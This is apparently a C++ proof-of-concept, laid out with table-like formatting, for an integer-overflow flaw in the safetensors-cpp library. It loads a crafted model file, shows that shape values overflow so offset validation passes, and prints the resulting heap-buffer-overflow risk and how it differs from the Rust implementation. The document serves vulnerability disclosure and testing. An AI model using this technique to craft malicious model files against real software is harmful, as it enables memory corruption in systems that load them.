| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| |
|
| | #include <cstdio> |
| | #include <cstdint> |
| | #include <cstdlib> |
| | #include <cstring> |
| | #include <fstream> |
| | #include <vector> |
| | #include <iostream> |
| | #include <limits> |
| |
|
| | #include "safetensors.hh" |
| |
|
| | int main(int argc, char *argv[]) { |
| | const char *filepath = "overflow_tensor.safetensors"; |
| | if (argc > 1) { |
| | filepath = argv[1]; |
| | } |
| |
|
| | printf("=== safetensors-cpp Integer Overflow PoC ===\n\n"); |
| |
|
| | |
| | std::ifstream ifs(filepath, std::ios::binary | std::ios::ate); |
| | if (!ifs.is_open()) { |
| | fprintf(stderr, "Failed to open %s\n", filepath); |
| | return 1; |
| | } |
| | size_t filesize = ifs.tellg(); |
| | ifs.seekg(0); |
| | std::vector<uint8_t> data(filesize); |
| | ifs.read(reinterpret_cast<char*>(data.data()), filesize); |
| | ifs.close(); |
| |
|
| | printf("[*] Loaded file: %s (%zu bytes)\n", filepath, filesize); |
| |
|
| | |
| | safetensors::safetensors_t st; |
| | std::string warn, err; |
| |
|
| | bool ok = safetensors::load_from_memory(data.data(), data.size(), |
| | filepath, &st, &warn, &err); |
| |
|
| | if (!ok) { |
| | printf("[!] load_from_memory FAILED: %s\n", err.c_str()); |
| | return 1; |
| | } |
| |
|
| | if (!warn.empty()) { |
| | printf("[!] Warnings: %s\n", warn.c_str()); |
| | } |
| |
|
| | printf("[+] load_from_memory SUCCEEDED (file parsed without error)\n\n"); |
| |
|
| | |
| | std::string val_err; |
| | bool valid = safetensors::validate_data_offsets(st, val_err); |
| | printf("[*] validate_data_offsets: %s\n", valid ? "PASSED" : "FAILED"); |
| | if (!valid) { |
| | printf(" Error: %s\n", val_err.c_str()); |
| | } |
| |
|
| | |
| | for (size_t i = 0; i < st.tensors.size(); i++) { |
| | std::string key = st.tensors.keys()[i]; |
| | safetensors::tensor_t tensor; |
| | st.tensors.at(i, &tensor); |
| |
|
| | printf("\n[*] Tensor: '%s'\n", key.c_str()); |
| | printf(" dtype: F32\n"); |
| | printf(" shape: ["); |
| | for (size_t j = 0; j < tensor.shape.size(); j++) { |
| | if (j > 0) printf(", "); |
| | printf("%zu", tensor.shape[j]); |
| | } |
| | printf("]\n"); |
| | printf(" data_offsets: [%zu, %zu]\n", tensor.data_offsets[0], tensor.data_offsets[1]); |
| |
|
| | |
| | size_t shape_size = safetensors::get_shape_size(tensor); |
| | size_t dtype_bytes = safetensors::get_dtype_bytes(tensor.dtype); |
| | size_t tensor_size = dtype_bytes * shape_size; |
| |
|
| | printf("\n [OVERFLOW ANALYSIS]\n"); |
| | printf(" get_shape_size() = %zu (OVERFLOWED! True value: ~3.7e27)\n", shape_size); |
| | printf(" get_dtype_bytes() = %zu\n", dtype_bytes); |
| | printf(" tensor_size = %zu * %zu = %zu\n", dtype_bytes, shape_size, tensor_size); |
| | printf(" data_size = %zu\n", tensor.data_offsets[1] - tensor.data_offsets[0]); |
| | printf(" tensor_size == data_size? %s\n", |
| | tensor_size == (tensor.data_offsets[1] - tensor.data_offsets[0]) ? "YES (validation passes!)" : "NO"); |
| |
|
| | |
| | printf("\n [IMPACT DEMONSTRATION]\n"); |
| | printf(" A consumer that trusts shape dimensions would compute:\n"); |
| | printf(" shape[0] * shape[1] * shape[2] = "); |
| |
|
| | |
| | __uint128_t true_product = (__uint128_t)tensor.shape[0] * tensor.shape[1] * tensor.shape[2]; |
| | printf("OVERFLOW (too large for uint64)\n"); |
| | printf(" True product > UINT64_MAX: %s\n", |
| | true_product > ((__uint128_t)UINT64_MAX) ? "YES" : "NO"); |
| |
|
| | |
| | printf("\n [SIMULATED CONSUMER BEHAVIOR]\n"); |
| |
|
| | |
| | size_t alloc_size = 1; |
| | for (size_t j = 0; j < tensor.shape.size(); j++) { |
| | alloc_size *= tensor.shape[j]; |
| | } |
| | alloc_size *= dtype_bytes; |
| | printf(" Consumer alloc (overflowed): %zu bytes (tiny!)\n", alloc_size); |
| | printf(" Consumer thinks tensor has: %zu * %zu * %zu = ~3.7e27 elements\n", |
| | tensor.shape[0], tensor.shape[1], tensor.shape[2]); |
| |
|
| | |
| | |
| | printf("\n If consumer allocates %zu bytes but iterates shape[0]*shape[1]*shape[2] times:\n", alloc_size); |
| | printf(" -> HEAP BUFFER OVERFLOW (writing ~3.7e27 * 4 bytes into %zu byte buffer)\n", alloc_size); |
| | printf(" This is a critical memory safety vulnerability.\n"); |
| | } |
| |
|
| | printf("\n=== DIFFERENTIAL RESULT ===\n"); |
| | printf(" Rust (reference): REJECTS file with SafeTensorError::ValidationOverflow\n"); |
| | printf(" C++ (safetensors-cpp): ACCEPTS file, validation passes\n"); |
| | printf(" Impact: A model file that Rust deems invalid is accepted by C++\n"); |
| | printf(" The shape values cause integer overflow, enabling heap corruption\n"); |
| |
|
| | return 0; |
| | } |
| |
|